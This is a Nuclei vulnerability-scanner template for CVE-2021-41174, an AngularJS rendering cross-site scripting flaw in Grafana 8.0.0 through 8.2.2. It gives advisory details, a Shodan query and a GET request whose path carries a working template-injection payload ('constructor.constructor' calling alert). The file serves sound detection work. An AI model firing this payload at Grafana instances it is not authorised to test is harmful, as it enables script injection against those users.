nuclei-templates/http/cves/2021/CVE-2021-41174.yaml

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id: CVE-2021-41174
info:
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name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting
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author: pdteam
severity: medium
description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
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impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the Grafana application.
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remediation: Upgrade to 8.2.3 or higher.
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reference:
- https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8
- https://nvd.nist.gov/vuln/detail/CVE-2021-41174
- https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82
- https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912
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- https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-41174
cwe-id: CWE-79
epss-score: 0.96439
epss-percentile: 0.99477
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cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: grafana
product: grafana
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shodan-query: title:"Grafana"
tags: cve,cve2021,grafana,xss
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http:
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- method: GET
path:
- "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"
skip-variables-check: true
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matchers-condition: and
matchers:
- type: word
words:
- "Grafana"
- "frontend_boot_js_done_time_seconds"
condition: and
- type: regex
regex:
- '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))'
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- type: status
status:
- 200
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extractors:
- type: regex
group: 1
regex:
- '"subTitle":"Grafana ([a-z0-9.]+)'
# digest: 4a0a00473045022001f49261fe17bc2cb5d608ef4e1485a510f0c31fc574bc3cdf7ac4210cec99df0221008ece605cc34ec9743e010b6d3218bbcb1b59e1d061b6898688da51dacf56ae5e:922c64590222798bb761d5b6d8e72950